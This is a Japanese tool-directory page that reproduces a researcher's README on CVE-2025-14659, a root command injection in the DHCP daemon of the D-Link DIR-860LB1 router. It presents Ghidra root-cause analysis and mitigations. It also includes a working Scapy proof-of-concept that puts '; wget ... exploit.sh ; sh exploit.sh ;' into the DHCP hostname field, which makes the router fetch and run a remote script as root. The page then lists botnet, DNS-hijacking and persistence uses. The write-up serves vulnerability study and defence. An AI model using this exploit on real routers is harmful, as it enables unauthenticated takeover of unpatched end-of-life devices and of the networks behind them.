Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/peterlinccl/vulnerability-dlink-cve-2025-14659
組み込みシステムセキュリティ静的分析IoTセキュリティ脆弱性分析エクスプロイトリバースエンジニアリング論文と研究ペイロード開発ファームウェア解析

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHubpeterlinccl/vulnerability-dlink-cve-2025-14659

Vulnerability-DLink-CVE-2025-14659

静的解析(Ghidra)と独自のパケット生成(Scapy)により、D-Linkファームウェアにおけるroot権限でのDHCPコマンドインジェクション脆弱性(CVE-2025-14659)を実証

リポジトリを見る
14時間25分前未レビュー

CVE-2025-14659: D-Link DHCPデーモン コマンドインジェクション分析

Recreate CVE Project | オフェンシブセキュリティ

著者: Peter Lin
日付: 2026年5月
プロジェクト概要: CVE-2025-14659は、ファームウェアv203b03を実行するD-Link DIR-860LB1ワイヤレスルーターに存在するDHCPデーモンコンポーネントを標的としたコマンドインジェクション脆弱性を報告しました。このコマンドインジェクションにより、攻撃者は悪意のあるホスト名でDHCPクライアントが既存のリースを更新する際に、対象ルーター上でroot権限による任意のコマンドを実行できる可能性があります。私はDIR-860LB1デバイスのファームウェアを抽出し、Ghidraを用いた静的解析を通じてDHCPデーモン(udhcpd)に存在する欠陥を特定します。その後、FirmAEのようなエミュレーションエンジンを利用してこのルーターの環境をエミュレートし、この標的に対する概念実証攻撃を実証します。


🔍 脆弱性の概要

  • CVE ID: CVE-2025-14659
  • CVSSスコア: 8.7 (High)
  • 脆弱性の種類: CWE-77 (コマンドインジェクション)
  • 対象バイナリ: udhcpd (DHCPデーモン)
  • 影響: ローカルネットワーク経由での未認証rootアクセス。

🔬 根本原因 (Ghidra静的解析)

Ghidraでudhcpd_main関数を確認すると、脆弱性はcase 3 (DHCPREQUEST)ブロックの内部に存在します:

  1. 抽出: デーモンはget_option(auStack_254, 0xc)を使用してクライアントパケットから**DHCPオプション12 (ホスト名)**を取得します。
  2. 連結: ホスト名が存在する場合、sprintf()を介して文字列バッファに直接格納されます:
    root@kitploit:~
    sprintf(acStack_454,"usockc /var/mydlinkeventd_usock NEW_DEVICE,%s,%s,%s\n", acStack_5f4, pcVar15, piVar12);
    
  3. 実行: その後、アプリケーションはシェル文字をサニタイズすることなく、その生のバッファを直接system()呼び出しに渡します:
    root@kitploit:~
    system(acStack_454);
    

デーモンはrootとして実行されるため、ホスト名にシェルメタ文字(;や|など)を追加することで、攻撃者は任意のシステムコマンドを実行できます。


🛠️ 概念実証スクリプト (cve_poc.py)

この実用的なScapyスクリプトは、インジェクションされたホスト名ペイロードを含むリース更新を要求する悪意のあるクライアントをシミュレートします:

root@kitploit:~
from scapy.all import *

# ===== Configuration =====
iface = "tap1_0"                          
mac_address = "0a:6f:8c:38:03:52"        
requested_ip = "192.168.0.150"            
dhcp_server_ip = "192.168.0.1"            
attacker_server = "192.168.0.150:12345"   
# =========================

# Injected Hostname Payload
hostname = f"; wget http://{attacker_server}/exploit.sh ; sh exploit.sh ;"
mac_bytes = bytes.fromhex(mac_address.replace(":", ""))

dhcp_request = (
    Ether(src=mac_address, dst="ff:ff:ff:ff:ff:ff") /
    IP(src="0.0.0.0", dst="255.255.255.255") /
    UDP(sport=68, dport=67) /
    BOOTP(chaddr=mac_bytes, xid=0x81de4932) /   
    DHCP(options=[
        ("message-type", "request"),
        ("requested_addr", requested_ip),
        ("server_id", dhcp_server_ip),
        ("hostname", hostname),
        "end"
    ])
)

print("[*] Sending malicious DHCP REQUEST...")
sendp(dhcp_request, iface=iface, verbose=True)
print("[*] Packet sent. Check HTTP server logs.")

⚠️ 実世界での脅威影響

実際に悪用された場合、攻撃者はこの脆弱性を以下の目的で利用できます:

  • ボットネット展開: 悪意のあるバイナリをルーターの揮発性メモリ(/tmp)に直接インストールし、ハードウェアをDDoSネットワークに組み込む。
  • DNSハイジャック: 内部DNS設定を上書きし、ローカルユーザーを悪意のあるフィッシングサイトへサイレントに誘導する。
  • 横展開: 侵害されたエッジルーターを内部のピボットポイントとして利用し、ローカルネットワーク内の他のマシンをスキャンして標的にする。
  • 永続的制御: バックドアをインストールしたり設定ファイルを操作したりして、ローカル環境全体にわたって不正な管理者アクセスを維持する。

🛑 防御的緩和策

  • ハードウェアライフサイクル警告: D-LinkはDIR-860LB1アプライアンスをEnd-of-Life (EoL)ステータスに分類しています。公式ベンダーパッチがこの問題に対処する見込みはありません。
  • 補完的なセキュリティ制御:
    • 厳格なクライアント分離機能を備えた分離VLAN境界を構成し、DHCPエンドポイントの未認証での可視性を制限する。
    • EoLのレガシールーティングアプライアンスを体系的に廃止し、積極的にサポートされているハードウェア構成にアップグレードする。

📚 参考文献

  • NIST National Vulnerability Database
  • CVEDetails Vulnerability Profile

免責事項: このプロジェクトは、教育目的、ポートフォリオ構築、および防御的セキュリティ研究のために厳密に作成されています。

ツールをダウンロード